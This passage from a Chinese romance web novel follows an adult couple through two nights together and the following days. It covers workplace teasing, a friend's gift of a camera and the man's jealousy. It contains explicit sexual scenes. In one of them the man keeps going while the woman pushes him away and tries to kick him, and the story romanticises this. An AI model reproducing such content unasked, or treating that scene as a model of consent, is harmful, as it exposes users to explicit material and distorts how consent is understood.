喻了了感觉人都快要炸了,刚放松一点的神经又蓦地收紧,身体不受控制地胡乱扑腾,手指快要将床单抓破。 她不知道正常是不是都这个流程,却无疑不想表现出反应很大的样子,便只仰着脖颈静默承受,然而耳边绵密的水声和一再放大的感知,却还是激得她时不时地溢出些羞耻声音。 没等收住,他又会冷不丁吮上一下,迫使她将那样的声音完整释放出来,难耐自溢,像首秽乱的艳曲,声声充盈着旖旎又缭乱的夜,直到某种陌生又强烈的快意袭来,身体受不住地高高抬起几下,他才支起胳膊从腿间起身,长臂伸向床头时,促发了床沿的感应灯带,唤亮一层淡金的光晕。 喻了了急喘着气,像刚经历一场大劫,脑子还没缓过来,只睁着茫然的眼睛,看他打开床头的透明盒,把里头的产品全部取出,拿到眼前辨别了下,才从中挑了一盒,打开后取出一只。 她的视线全程跟随,一直到他撕开包装伸手往下时都不曾错眼,模模糊糊看到什么之后,还蛮有求知欲地眨了两下。 时霁抬头,撞见这副认真样儿时还怔了怔,随即便气笑似的挑起她的下巴,清润的声音像还浸在水里:“看什么呢?” 猝不及防对上他沾染水光的眼睫与鲜红潋滟的唇色,喻了了面泛红晕,反应过来那是什么,又飞快别过眼睛:“……没、没有啊!” 开口时才发现,自己连声音都抖得不像话。 感应灯到时熄灭,四周又陷入黑暗,时霁遗憾地啧了一声,手又伸出被窝,作势要去开灯:“想看给你开个灯?” “不想——” 喻了了赶紧抱着脖颈把人拉回来,又生怕他再多说什么似的,立刻仰头去堵他的嘴,身体却因为这个动作骤然紧贴,滚烫而鲜明的触觉毫无阻隔地袭来,顿时便将她砸得晕头转向,咬着他的唇,一时都忘了该怎么亲。 时霁的感知同样强烈,压抑多时的气息几乎是瞬间乱了节奏,并已然顾不得许多地摁住她的腰,沉声:“放松。” “……” 喻了了很想听他的话,可等感觉到一股侵略性极强的诡异力量时,却还是没忍住惊叫出声,双手抵着他的肩膀,身体止不住地要往后退,曲起双腿想把人踢开。 然而此时的他却不复温柔,尽管还是会亲吻她的眼睛,不停低哄着让她放松,可将她囿于床榻死角,全面包裹着她的强势,却没有丝毫退却的意思,还在她渐渐有所适应之后,变本加厉地激进占有。 暗室里热流涌动,紧密相贴的心跳分不清你我,交织的汗水沾染着难以言喻的粘稠,开出名为罂粟的花,悄无声息地占领精神高地,又在沉沦中将人逼至悬崖,急急寻觅着解脱,欲死不欲生。 剧烈的喘息犹如实质,在一切终于偃息旗鼓的许久之后,仍在脑海里保有地震般的余韵,叫人久久难以回神。 喻了了翕张着唇,神情木然地望着虚空,像正接收着外星文化的洗礼,好半晌,才生成出一个学习完新知识后的巨大问号:“时霁。” 时霁半伏在她身上,有一搭没一搭玩着她的头发,事后的嗓音暗哑:“嗯。” 她却忽然偏过头来,打破这份沉寂:“你真的是第一次吗?” 他缓缓睁开眼睛,在黑暗中对上她的视线:“……什么意思。” “就是——”喻了了想了一下说:“不是说男生第一次都还挺快的吗?但我感觉你还好啊!而且好像也挺熟练的,不仅知道要先帮我那什么放松,都那样了还有空一直哄我。” 时霁一时也不知道自己算不算是被夸了,心情却显然是被破坏的差不多了:“找事儿呢?” “不是啊!”喻了了本来只是怀疑,见他不肯正面回答,才愈发肯定了这个猜测:“我明明就是合理分析,而且如果你没有心虚的话,为什么不直接回答我的问唔——” 她话音一顿,冷不丁就被堵了嘴,又在毫无防备的情况下被剥夺呼吸,本就没有阻隔的距离骤然贴紧。 他边着吻她,边大肆 搓揉。 喻了了短暂反抗了下,却又在感知一路蜿蜒,乃至被精准揉捻着某处时,陡然失去力气,随后便红着脸,不知是恼羞成怒还是怒己不争地质问:“你干嘛!” “不是怀疑我?”时霁咬着她的下巴,手里动作没停:“那就比对一下,是不是第一次有什么区别。” “?” 喻了了还没来得及理解这句话的意思,就被灵活的指骨激起一串串悠扬的曲调,又莫名其妙的到了一次,身体彻底软下来,未及停歇,就又被动充盈拍打。 她婆娑着眼,在无数次仰头承受的间隙,意识到时间似乎已经过去了许久,而他也才想起什么似的,忽而探身,把床头的手机拿过来,随手解了锁。 喻了了以为他有什么特殊癖好,刚要伸手去抢,他就已经打开时钟,并自觉递过来说:“要计时?” 想了想,又贴心做出让步:“从现在开始算也行。” “……” 又一次沉沉坠入,喻了了抓着他的头发,半天都没能说出话来,却还要在反复的研磨中,一遍遍地听他低声在耳边问,现在觉得他是第几次? 他到最后都没有亲自回答问题,反而是她,不止一次地用几近破碎的声音替他申辩,是第一次!绝对的第一次!!! “那刚刚为什么怀疑我?”时霁却并未因此放过她:“嗯?” “我错嗯……错了!” “刚和好,就连这点儿信任都没了?” 喻了了无言,只能反复重申:“我真的嗯……真的错了!” “错哪儿了?” “全错了!全都错了啊呜呜呜……” 这段刻骨铭心的忏悔不知延续了多久,喻了了才急喘着气,捡回一条命般被放趟回床上。 时霁兀自收拾完,又起身绕过沙发,从茶几上拿回两瓶水,把人抱坐起来喂了几口,喻了了就因为呼吸困难,抗拒地把瓶子推开了。 “听话。”他却坚持要喂:“再喝点,要不一会儿该脱水了。” “……” 喻了了心想这才哪到哪,等她稍微歇一会会儿,立马就能重新把场子给找回来!身体却还是诚实地认了怂,断断续续地被喂了大半瓶,刚想躺回去歇着,时霁就在几口把剩下的水喝完后,又把人拖抱起来,捎带上用了一半的盒子几步进了浴室。 突然亮起的灯光刺得她闭了下眼,再睁眼时,水流正从花洒下喷薄而出,热气瞬间氤氲而出,环绕着混杂诸多痕迹、近乎不堪入目的两道身影。 她眼睁睁见他又撕开一只,递过来叫自己帮他时,没来由起了个激灵:“时——” 没等出口,唇齿又被堵住,滞涩的手指被带着完成动作,腰身被托起,清浅的回落之后,是同样难抑的沉吟。 水流下的碰撞异常清晰,他修长好看的手不停游走,仿佛只是在帮她洗澡那样简单,可微有些粗粝的薄茧与掌下灼人的温度,反叫她出了更多的汗,以至于明明处在水里,却如何也洗不完那点儿绵密与粘稠。 喻了了整个人都挂在他身上,半天才在混乱中支取平衡,剥离呼吸汲取氧气的间隙,朦胧视野即刻便又拓上他锋利喉结与平直锁骨,渗着津液的皮肤更像是被滚水烫过,鲜红欲滴。 她的目光停驻许久,继而怔怔往下,入迷一般,经由贲张薄肌与劲瘦腰身,落在反复半隐半现的某处。 她眨了眨眼,像觉得有点儿神奇,感知里尽是舒缓节奏带来的隐晦快意,丝毫不觉自己这副求知的模样,落在他人眼里有多耐人寻味,直到平缓韵律忽而一沉:“嗯……” 喉咙溢出声音,视线却没有离开。 几秒之后,力道又一次加深:“嗯……” 她神情认真,仍无所觉。 第三次,沉沉到底:“嗯……” 她终于意识到什么,缓缓抬头,坠进一双意味不明的眼睛:“看什么呢?” “……” 像偷窥被抓包,喻了了本就泛着红晕的脸颊红至底透,飞快埋进他的肩膀,嘴硬道:“没有啊!我只是在发呆而已!” 时霁扬了扬眉,不仅没拆穿,还助纣为虐:“想看得更清楚点么?” 喻了了愣了一下,还想狡辩我其实也并没有很想看,当下却又很本能地探出脑袋,偷偷看了他一眼,疑惑又不乏期待地问:“……怎么才能更清楚?” 时霁失笑了声,转身便把人抱出淋浴间,来到浴缸边上的一面落地镜前,身体抽离一瞬,把人翻了个面,放在一张长条形的皮质换衣凳前,面朝着镜子跪伏着。 “时霁——”喻了了看清镜子里的自己,睁大眼睛,慌乱抗议着要爬下来:“我不要在这里!” 时霁却从身后贴上来,环着她的腰,直接挡去她的退路:“为什么。” “在这里,你可以看一整晚。” 他餍足着的嗓音低而磁,带着讳莫如深的笑意,在已然烧燃的气流里,又用简简单单的两个字,不轻不重地、烫了一下她的耳廓:“宝宝。” 第53章 第53章一会儿你不要哭。 室内像下了场细雨,潮湿空气交织着难以言喻的旖旎气息,经过整夜的发酵,浸染着房间的每一处。 偌大的双人床空了大半,两道熟睡身影紧密交叠在一侧,柔软被面垂在床沿,随着呼吸轻缓起伏。晨光从窗缝中漏进来,一度从柔暖变得刺眼,不知被丢到哪里的手机才叮铃铃响了起来。 嘈杂持续蔓延了会儿,时霁才伸手在被子里捞了捞,找到手机后关闭闹铃,偏头看向怀里的人,唇角不觉扬起:“该起床了。” 喻了了却跟没听见似的,睫毛都不带动一下的。 他又凑近,咬了咬她的耳垂:“嗯?” 还是没有声音。 喻了了是真的睡得很死,虽然的确是有听到一点儿声音,但眼睛根本就睁不开,因为两人昨天就是结结实实地做了一整晚,一直到今早太阳都不知出来多久了,才终于筋疲力尽地倒下去。 时霁临睡前调了个闹钟,那会儿看时间是8点22,到现在满打满算也才睡了不到4小时。 他看着她脸上明显的倦态,想起昨晚好不容易从浴室出来,她就立刻又不知是报复还是上头的反把他摁在床上,一副势必要一较高下的样子,一不小心就折腾得过了点儿。 虽然后来也有意识到,那稍微是有点儿没节制了,但时霁其实还挺乐意的,所以不仅什么也没说,还近乎挑事的激了她一次又一次。 然而团建只截止到今天中午,13点要在停车场点名集合,他不得不把人从睡梦中喊起来,便伸手拍了拍她的腰,没忍住又搓了两把,她都还是完全无动于衷。 他没忍住笑了下,很快又贴近她耳窝,放低声音喊了句:“真的该起了,宝宝。” “……” 喻了了像对这个称呼过敏,尽管昨晚已经听过很多遍了,耳膜还是不适应地有点儿发痒,整个人也像是被臊到了一般,翻了个身,红着脸埋进枕头里。 时霁因此又多了层实感,好像自己真有了个宝宝,这会儿正因为不想起床而翻滚耍赖。 没办法,只好先起来把自己收拾了下,又将散落的物品大致整理好,才在她的行李箱里翻了翻,从里到外地拿了身衣服,回到床头把人从被窝里捞出来,一件件帮她穿上。 喻了了能感觉到他在做什么。 可能是昨晚在镜子前呆得太久,这会儿多少已经有点儿耐受,所以尽管知道他正盯着自己,穿戴过程也并不怎么安分,她也仍然没有要睁眼的意思,并且好像还被伺候的有点儿舒服,偶尔还能配合地伸一下腿和手。 穿完衣服,时霁又把人横抱起来,几步来到洗手台后,托着腰将人放下来,又把挤好牙膏的牙刷塞进手里,再送到嘴边,好脾气地哄了句:“听话,先把牙刷了。” 喻了了没骨头似的倒在他身上,闻言又滞了会儿,才慢吞吞地握住牙刷动作起来,漱口的时候虚睁了下眼,刚一刷完,就又元气耗尽般躺倒回去。 时霁很自觉地收了尾,而后冲开颗压缩毛巾,把埋在怀里的脸拨出来一点,仔细擦完遍后,看着面前深阖的乖顺眉眼,不觉又起了点儿逗弄心:“抬头。” 喻了了闻言,仰起脖子。 他扬了扬眉,又说:“噘嘴。” 她没有思考,照做。 他又凑近了点儿:“亲一下。” 她贴过去,也不知道碰到了哪儿,就很听话地用残存的力气mua了一下。 时霁喉结轻滚,拇指抚过她的唇瓣,正要压下去,房门就被敲响,应该是提前预定的午餐。 他看了看怀里站都不想站的人,又把人拖抱起来,像个挂件一 样带到玄关,服务员见状还愣了一下,刚想说点什么,他就接过餐盒道了声谢,并反手把门带上。 回到沙发,把人横放在腿上,边开餐盒便问:“饿不饿?” 喻了了闭着眼睛感受了下,差不多已经是前胸贴后背的程度,便钝钝点了点头,把头转出去,方便接受投喂。 时霁笑了下,先给她喂了点儿温水,才夹起个玉米军舰递到嘴边。 喻了了从善如流,一个接一个地吃着,直到一口气消灭了6个之后,才像是终于恢复了点儿力气,捧场地说了今日的第一句话:“好吃。” 时霁拨开她嘴角的米粒,眼底笑意更深:“还要?” “嗯嗯。”喻了了总算睁开眼睛,却仍然没有要自主进食的意思,还在晃着小腿被喂至八分饱后,又再次失去意识般地闭上了眼睛。 折腾了一整晚,累是必然的,再加上睡眠严重不足,她能清醒这么会儿,单纯就是为了维系下生命体征。 好在集合过后也没什么事,大巴在高速上行驶了一下午,于傍晚抵达H市时,喻了了差不多也已经睡饱了,虽然腰还是有点儿酸,身体也像是从内里被掏空一样虚得厉害,但好歹精神气是恢复了七七八八。 解散之后,她又在车里瘫了会儿,很快就如愿被带进一家日料餐厅,刺身寿司点了一桌,丝毫没有因为中午才刚吃过而有所腻味,并且还像是从没发现这东西有这么好吃似含糊地提了句:“我明天还想吃这个。” 时霁嗯了一声,把剩下的部分往前推了推:“我预定下,明天中午去找你?” 喻了了快乐点头:“好!” 等人吃得差不多,天色也已经暗下来了,时霁拆了张湿巾帮她擦嘴:“一会儿还有事吗?” 喻了了呈现出一种酒足饭饱的状态,连声音都透着满足:“没有呀。” 他又问:“那今晚去我那儿?” 她顿了下,想到什么,很快又有点偷偷摸摸地笑起来:“可以!” 刚好这次跟老喻报备说要去团建,也没提具体是哪天回来,所以趁这个理由还能用,夜不归宿一下也没什么吧? emmm…… 虽然连续两天可能会有点那什么,但她把身体练得这么好,没理由连放纵这么一下子都扛不住吧? 时霁自然也没老实到哪儿去,回小区中途停了下车,进便利店前问了她想吃什么,结账时就顺带从收银台边上拿了几盒必需品。 一进家门,就搂着人进了浴室,洗掉舟车劳顿后的尘土,并浅浅消化了一下晚餐之后,才终于给浑身遍布红痕的人裹上浴巾,餍足地抱回卧室。 喻了了安静坐在床沿,由着人给自己吹头发,视线落在床头的两个展示支架上,唇角不自觉地勾起来。 再次看到那两块被仔细摆放的奖牌,她的心情俨然有了很大不同,伸手拿过来把玩时,脑海里很自然便放映着一张缩在角落里的稚嫩脸孔,眼巴巴地抱着它想自己的模样。 等到他放下吹风机,圈着腰想把人揽进被窝时,她才翻了个身跨坐过去,把两块奖牌一并挂到他身上,然后歪着脑袋,饶有兴味地端详。 亦不自觉地就想问些傻话,譬如“你一直把它保留到现在吗”、“是不是非常珍视它们呀”,但这显而易见都是些废话,答案也早已呈现在眼前,最后去却还是耐不住,涌动着心跳问了句:“你每次看到它的时候,是不是都会想起我呀?” 时霁扬了扬眉,并没有觉得这一句有聪明到哪儿去,却还是配合地解了答:“不然?” “嘿。”得到肯定的答案,她又贪心的想听说更多:“是一直都放在床头吗?”这样才会每天都能看到,每天都在想她。 “不是。” “啊?” 喻了了怔了怔,眨巴着眼看他,却并不见得失落,可能是房间里氛围正好,洗漱后的芬芳盈满鼻腔,他把玩她发尾的姿态倦懒,感官里的一切都充满温馨,所以尽管他的回答没有太过动听,她也依然觉得足够悦耳。 他也没有思索太久,便将回溯的记忆同步说于她听。 一直放在床头显然不太可能,尤其是刚收到的那段时间,没成功被垃圾站回收就已经很不错了,在意识到对它有所依赖之后,倒是会经常挂在脖子上睡觉,但还是不会拿出来摆放。 不知出于什么原因,他并不想和人分享这个秘密,任何人。 再大一点,开始觉得这种行为有点幼稚,自然就收起来了,偶尔找东西时翻到,才会不自觉地拿起来看一会儿,但也仅仅是像在回忆一段还不错的过往,稍微看一会儿就放回去了。 直到他收到了第二块,因为翻看的频率高了,就放到了随手都能拿取的抽屉里,也是在交往后的某天,再次打开抽屉时,莫名就有了种近乎显摆的心态,又着手定制了两个展架后,才一直摆放在床头。 当然,被她丢进垃圾桶和床底下的那两次除外。 喻了了听得有点心虚,半晌才在他的凝视下咕哝了句:“……那我不是生气了嘛。” “嗯。”时霁也没说什么,只慢条斯理拨着浴巾边缘:“现在还气么?” 喻了了坚定摇头:“不气不气!” 其实还有点心疼,但事情都已经过去了,情绪也只能用亲吻表达,她勾着他的脖子,很主动地凑上去。 时霁将人圈进怀里,拥吻的同时亦有些恍惚。 因为他似乎从来没想过,自己会从害怕她,变成害怕失去她。 …… 高强度的亲热过后,两人之间的状态,更多是趋于温存般的舒缓,让所有知觉都在慢动作中一一放大。 喻了了抓着他的头发,看着他轻喘着流汗的模样,不觉翻了个身,指尖一路从喉结蜿蜒直下,撑着他的腹肌缓慢律动。 眸底蓄着水雾,又在难耐中变得迷离。 一直到过了高点,时霁见人软了下来,才扣着她的腰,重新将人堵在身下,然而没过多久,喻了了就像是不太满意这个位置,刚缓过来就再次翻身,天旋地转之后,终于“噗通”一声,连人带被子一起滚到了地上。 “嘶……”时霁承载着两个人的重量,重重磕在地上,疼倒是其次,就是冷不丁受了惊,表情不免有点难看,低头就冷斥了声:“喻了了,想把我吓软直说!” “啊?”喻了了愣了一下,关心的同时也有点震惊:“那你软了吗?” “?”时霁闻言,比她还要震惊:“你感觉不到??” 喻了了眨了眨眼:“……” 好像也是。 刚要继续,他却忽然翻脸:“下来吧。” 喻了了怔怔:“……为什么啊?” 时霁安详躺平,一点脾气没有地说:“都感觉不到了还做什么?” 她危机意识超强,连忙在他身上乱亲一通:“有感觉有感觉!超级有感觉!” 他却仍是副油盐不进的样子:“不用安慰我。” “没安慰!”喻了了动了一下说:“真的超级有感觉!” 想了想又补充:“还能再做一整晚那么有感觉!” “……” 时霁也不知道算不算被安慰到,总之听完这话就还挺舒坦的,怕她赖账,又低头确认了遍:“你确定?” “昂~”喻了了点头,又亲了亲他的唇,并大言不惭:“一会儿你不要哭噢。” 第54章 第54章死定了!(补3000字…… 连续瞎搞两天,再睁眼时喻了了脸都是白的,从起床开始就眼冒金星,脚步虚浮,好不容易晃到公司,看屏幕也都是重影的。 迷迷瞪瞪发了会儿呆,群里又在通知准备开会,她虚弱起身,胳膊连撑了三次扶手才站起来,游魂一样飘到会议室时,几个同事看她的眼神都奇奇怪怪。 可能是她这种状态实在罕见,相比关心,大家的第一反应更多还是猎奇,毕竟这可是我司最强 战力王者,同事这么久,有人被工作击垮,有人被病魔击垮,而她可以带着工作把病魔击垮。 有一回发烧快39°,也就随便吞了颗药,就在把工作完成的同时,顺带手把烧给退了,然后图纸一发起身走人,全程就跟没发生过这回事一样儿,所以哪怕她这会儿病恹恹地趴在桌子上,大家也只能想到:“昨晚偷鸡去了?” “……” 喻了了想了一下,就觉得这话不能细想,一细想就根本没法回。 见她不说话,众人便做默认处理,又调笑着胡侃了几句,潘洪波就从外头走了进来,而作为领导,他的反应显然就稳重很多:“不舒服?” “要不给你安排个休息室躺会儿?” 喻了了抬头,眼睛都亮了一下:“可以吗?” 然后很快就收获一道“给你个眼神自己体会”的冷酷射线。 “……” 她叹了口气,又费劲吧啦地坐直了些,这才盯着液晶屏开始走神。 强撑了两个小时,终于踏出会议室时,眼皮都快睁不开了,本想回到工位趴一会儿,不然以她现在的状态,就算醒着也不会有什么工作效率,但看时间又已经快11点了,也就是说,再过不到一小时,时霁就要过来接自己去吃饭了。 她想起昨晚的战况,又对着屏幕挣扎了会儿,终于还是暗戳戳点开微信,先认怂为敬:【时霁】 【探出头来.jpg】 【有人在吗.jpg】 临近下班,时霁这会儿倒不怎么忙,回消息也快:【嗯】 【在】 喻了了抿了抿唇,斟酌了下措辞说:【要不你中午还是别来找我了吧?】 【还有就是,我感觉最少一个星期都不能再见你了】 时霁:【?】 【要造反?】 【不是啊】 喻了了连忙解释:【就是我本来以为,那个就只是会单纯消耗一点体力嘛,所以就算连续两个晚上也没什么问题啊,但谁知道根本就不是这样的!】 【我现在感觉整个人都不好了,再不睡觉就要死掉了的那种!而且好像也没什么胃口,中午就不是很想出去吃饭,再说你不是也没怎么睡嘛,疲劳驾驶也很危险,所以要不然你中午还是别过来了,在医院吃完也去休息一下?】 那边像是对这个说法有待考量,隔了会儿才说:【后面那句呢】 【啊…】 喻了了感觉他很好说话,顿时又积极了一点:【就是我感觉我可能得缓一缓了,但是如果见到你的话肯定又会忍不住,所以为了我们幸福美好的未来,这几天也还是先不要见面了吧?】 大约是被侧面肯定了下,时霁也没直接否决:【要多久】 喻了了想了下自己的耐力,本来是想说三天,但又害怕高估了自己的体力,就往保守了说:【一个星期?】 下一秒,对面就意味不明地跳出个:【呵】 “……” 她顿感不明觉厉,很快迂回:【那五天呢?】 【周五晚上或者周六我过去找你,刚好周末可以在你那待两天,这样可以吗?】 时霁没说行也没说不行,只优先处理了第一条申请:【把预定给你改外送】 【吃完再睡】 喻了了又感觉他好体贴:【嗯嗯!】 【乖巧坐好.jpg】 【坐等投喂.jpg】 …… 退出微信,时霁给预定的餐厅去了电话,交涉完后又忙了会儿,才脱下白大褂,久违地去了趟食堂。 沈长耀大老远扫到窗口前的人影,还以为是自己眼花,揉了揉眼的功夫,人就已经走过来了:“靠!诈尸了?” 时霁端着餐盘坐下,心情不错地回了句:“现在跑还来得及。” “……” 杜青林也反应了会儿,才犹疑道:“所以你两这是和好了?还是就这么算了?” 前段时间两人吵架,也不算是什么秘密,因为从聚餐那晚之后,喻了了就再也没来过医院,时霁虽然天天往外跑,却每天都冷着张死人脸,要是再被问上一句“干嘛?吵架啦?”,那脸还能再冷上八度,和再前段时间热恋的状态完全不一样。 但这会儿显而易见,回春了。 没等说话,坐对面的周晨就猝不及防扫到他脖子上的暗痕,直接就把白眼翻上天了:“你看看这个荡夫,哪里有一点儿要就这么算了的样子?!” “靠——”沈长耀顺势看去,又伸手扒拉了下,直接就带出一大片,登时便吓得话都说不利索了:“你你你这——背着我们也吃得太好了吧!!!” 杜青林则是默默摇头:“有辱斯文,有辱斯文啊……” 其实这事时霁还是有点儿冤的,毕竟这两晚不管怎样,他始终还是把握着分寸,没在显眼部位留什么痕迹,这也是喻了了都已经虚成那样,也没人往这方面怀疑的原因之一,但她显然就没有这种认知,还在过程中对他的喉结展现出了极大的热情,手里摸着不算,还非得要上嘴啃,期间好几次都把他咬的差点没喘过气来,且拦都拦不住。 当然,这种隐秘的“负担”总是很难同人倾诉,他便只笑着挡开沈长耀的手,又默默将衣领拉回原处。 周晨见这副欠抽的样儿,合理怀疑他今天到食堂就是特意来炫耀的! 他也只勾了勾唇,没置可否。 几人又骂骂咧咧了会儿,才将这事揭过,转而说起即将到来的运动会。 长济类属军医医院,每年都至少会举办一次军事体育运动会,按所属部门划分组别,皮肤科在三组。 而杜青林负责三组的报名事宜,本来就想着要去找时霁一趟,这会儿既然说起这事,便直接问了:“今年游泳那几项还是你包?” 组里会游泳的倒也不止他一个,但每个项目都得有2-3名运动员参赛,单凑人头都是个力气活,所以把上届的选手找来,并尽可能地多包揽一些项目,就成了一种省时又省力的优选。 时霁其实也没大所谓,反正都得出席,游几个项目也不费什么力气,相反如果拒绝的话,还大有可能被软磨硬泡,不见得就会轻松到哪里去。 刚想应说随便,周晨就忽然阴阳了句:“那你可得收着点儿了,到时候可是全。裸上阵!要是带着你身上那些玩意儿去,合适吗?” “我去——”沈长耀表情夸张:“那岂不是很刺激?!” “……” 这话虽然唐突,倒也不算夸张。 因为就以喻了了在他身上的凶狠劲儿来说,这些痕迹没一星期绝对没法全消,这两天折腾过头,放她休息一下也就算了,但要为个比赛再忍一周,他可没这么强的牺牲精神。 短暂思虑了下,就果断道:“那就不去了。” 杜青林:“??”- 午餐过后,时霁刚回到办公室准备休息会儿,就接到通知,说过两天要去B市参加个学术会议,面色顿时就沉了几分:“……” 他上午没正面答应喻了了的提案,原本是想着先等两天再说,毕竟她就是个记吃不记打的性格,今天才囔囔着快要死掉,保不齐明天就又有本事揭竿起义,而且五天对他来说,也确实太长了点儿。 但因为突然冒出来的这一出,他周二大早就得飞往B市,本来预计是周四回,又因为临时组织了个培训,变成归期不定。 而喻了了这边也的确如他所料,头两天还算老实,第三天开始就有点跃跃欲试,放话说下次应该就可以把他弄哭了,到第五天又演变为激将,满脸挑衅地问他是不是因为害怕,才故意躲在外面不回来的? 时霁也没和她争一时的高下,只随手点开录屏,让她把刚刚的话再说一遍,然后在视频通话结束后发了过去,让她记住自己说的话,到时候可别再哭唧唧地跑来跟他说什么快要死掉。 喻了了才不怕,哼地一声回他记住就记住,但前提也是他不要再躲在外面才有用吧! 时霁回:【最迟周日,等着】 吵完架,喻了了无聊透顶地在床上打了个滚, 还是觉得有力气没处使,索性就跑到群里嚎了一嗓子,问谁明天有需要苦力,便宜好用效率又高的那种。 然后周六一早,就被叶泽洋领到工作室打杂去了。 叶泽洋学的就是摄影专业,从上学那会儿就开始接活了,这几年在H市也算小有名气,经常也有外省来的游客找他约拍。 工作室经营成熟,自然不缺专业助理,所以喻了了其实也没明白他干嘛放着专业助理不用,非得拉自己过来捣乱,但听到他说出“有便宜干嘛不占”这样的话后,又觉得是这个狗会做出来的事情。 虽然略有不爽,但反正闲着没事,她就还是跟着来了。 然而摄影棚的运动强度对她来说实在有点太低,一整天都在做些打灯、拿道具、收放背景之类的活儿,无聊到她都有点昏昏欲睡了,唯一有点挑战的就是叶泽洋会时不时喊她过去看一下照片,让她从几张差不多的片子里挑出比较好看的,然后随手删掉做排除处理,为这事,两人一下午差点打起来三次。 终于挨到傍晚,喻了了见时间差不多,拿起手机点完外卖,时霁的电话刚好进来,清润嗓音混在嘈杂的背景里,问她:“在哪儿?” 喻了了听到车站的播报,眼睛一亮:“你回来啦?” 他不紧不慢道:“嗯。” 她回头看了眼摄影棚:“不是说要明天吗?” 他啧了下:“不乐意我现在就走。” 她赶紧表态:“乐意乐意!” 时霁嘁了一声,心道她还真是两幅面孔切换自如,人不在的时候为非作歹,一回来就仿佛根本没吵过那些架,下一秒就听见她说:“但我现在还在叶泽洋这边打杂,还有一会儿才能结束,你要过来吗?” “……” 可以。 很好。 才几天不见,就又学会给他找气受了。 他不说话,喻了了只好又问:“那要不你先回家,我忙完再过去找你?” 时霁轻哂,语气不善:“我过去。” 喻了了压根没听出来:“好!” 她挂完电话,就把工作室定位发了过去,想到这个点他应该也没吃,又顺手补点了一份外卖,再回到棚里的精神面貌可谓焕然一新!没多久就开始指责起叶泽洋就是因为太笨手笨脚,所以干活才这么慢的! 而他也不知是真的在追求完美,还是单纯想和她作对,愣是把马上就要结束的活儿,又拖了将近两小时,一直到客户小姐姐都觉得赠送的片子有点过于多了,才勉强收手,以至于她在对上男朋友凉凉的目光时都有亿点点心虚。 不知道是不是错觉,喻了了感觉他今天的状态有点不太对,明明之前每天等自己几个小时都没有半点情绪,但刚刚她提了好几次让他先到边上休息,他却全都跟没听见似的,只冷冷倚着门框看着她瞎转悠。 而这种情绪,在三人不尴不尬地坐下准备吃饭时,更是凉到了极点。 无独有偶,不知道从什么时候开始,叶泽洋好像也变得有点奇奇怪怪,刚一坐下就盯着沙发对面,眼里意味不明:“没想到,我这儿居然还能有招待时医生的一天。” 时霁哂笑:“还不是叶老师面子大,我才一个没注意,就把人拐这儿来了。” “再大也没你看得紧啊,没结束呢就追来了。” “这不总有人虎视眈眈,不看紧点儿哪行。” “也是。”叶泽洋点头:“毕竟某些人品行也就那样,缺点自信也很正常。” 时霁深表认同:“自信这方面当然还得看叶老师,二十多年毫无建树,还在这儿坚定不移呢?” “……” 两人你来我往,听得喻了了一愣一愣的,到最后都有点怀疑他两是不是背着自己约过架:“你们到底在说什么啊?” 两人忽地偏头,异口同声:“你别管!” …… 一顿饭吃的像打战,喻了了还莫名其妙被孤立了,不管询问什么都会被立刻驳回,最后只好埋头干饭,试图在两人打起来之前,赶紧结束这次不友好的“聚餐”。 “我吃完了!”她飞快收拾好餐盒,也没管两人从头到尾都没动过筷,拉着时霁就想跑,转身时却忽地被叶泽洋叫住:“等等。” “啊?” 喻了了回头,对上他莫名严肃的视线,有点儿拿不准他到底想干嘛,尤其是在他转身走向里间,一副要去抄家伙的架势去而复返时,更下意识挡在了时霁面前:“你想干嘛?” 叶泽洋深深看了她一眼,什么也没说,只把手里的黑色军火箱递给她:“拿着。” 喻了了愣愣的:“什么啊?” 接过的同时看到箱体的logo:“相机?” “嗯。”叶泽洋说:“之前不是说想学?把这个拿去,省得再来我这嚯嚯。” 他说话一向不好听,但喻了了这会儿关注点在礼物上,一时也没顾上计较:“干嘛突然送我这个?” “生日不是快到了。”他唇角轻扬,眼底却晦涩:“我过几天要出去拍外景,估计得个把月,赶不回来,就提前给你。” “噢。”她专注看着礼盒,神情不乏新奇与雀跃。 他无声笑着,目光又移向时霁,不知在同谁交代:“这款比较适合新手,学习视频都打包发你邮箱了,自己先看着学,要实在太笨学不会再来问我也行,要是学会了,想换进阶款的,也可以来找我给你换。”随时- 喻了了像抱着宝贝一样把箱子护送上车,刚一坐稳就迫不及待拆箱,也就完全没注意到身旁愈渐沉没的气压。 虽然相机这东西还挺常见的,她也没想过要花功夫去get这项技能,但可能研究自己的所有物和欣赏别人的东西,还是存在本质不同,这会儿单是热衷的程度,都远比以往高上了一倍不止! 她小心开机,摸索着各个按键,连使用说明都看得认真,直到托举起来打算试拍一下,冷不丁透过镜头对上一道幽深视线时,才隐约觉察不对。 她眨了眨眼,把相机放低了点儿:“你怎么啦?” 时霁眼尾轻掀,没什么情绪地看她:“这么喜欢?” “啊?” 喻了了想了想:“其实还好,但谁又会不喜欢礼物呢?而且这个看着好像还挺贵的!” “是挺贵的。”时霁扫了眼机身,也知道有些无理,却还是没忍住说:“要不还给他?我再给你买个新的。” “那有什么关系。”喻了了却会错了意:“之前他生日我还送了他两个镜头,绝对不比这个便宜好吧!” “……” 她说着又举起相机,调整了下角度,刚要按下快门,后知后觉意识到什么:“你不会、是吃醋了吧?” 时霁怔了下,脸上却没什么被拆穿的窘迫,反而自觉将那些不痛快铺陈出来,等她解决:“嗯,吃醋了。” “……” 喻了了足足傻了半分钟,才又震惊又好笑地找回声音:“可是他就只是我的朋友呀,而且我每次跟他说不到三句话就要打起来,怎么可能有什么嘛!” “……”时霁感觉自己就是脑子坏了,才会指望这个榆木脑袋能发现并解决问题。 叶泽洋那家伙也不知道惦记了她多久,这么多年也绝不可能全无暗示,连刚刚临走前的那翻话都无外乎是在警告他,如果敢让她伤心,如果上回那样的事再发生,他随时都会把她带走,更绝不可能再轻易放手,而这份不知深藏多少年的心事,在喻了了看来,却只是一句再单纯不过的“朋友”。 他一时都不知该 不该庆幸她如此榆木,因为这样,才能没有叶泽洋什么事,才能轮得到自己。 她才能给自己找气受,他也才能有气可受。 喻了了却满脑子都被“他居然会为自己吃醋”这个新奇认知所占据,心情好起来,连带着看他这副冷得快要掉渣的模样都觉得喜欢,超级喜欢! 一时也顾不上前面的司机,直接就凑过去mua了两口,又像哄小孩一样拍着他的胸膛说:“不气不气噢!” 拍完觉得手感挺好,又不动声色搓了几把,视线落在被高领卫衣掩住一半的喉结上,才想起来问:“你今天怎么穿高领了?” 时霁捉住她作乱的手:“你说呢。” 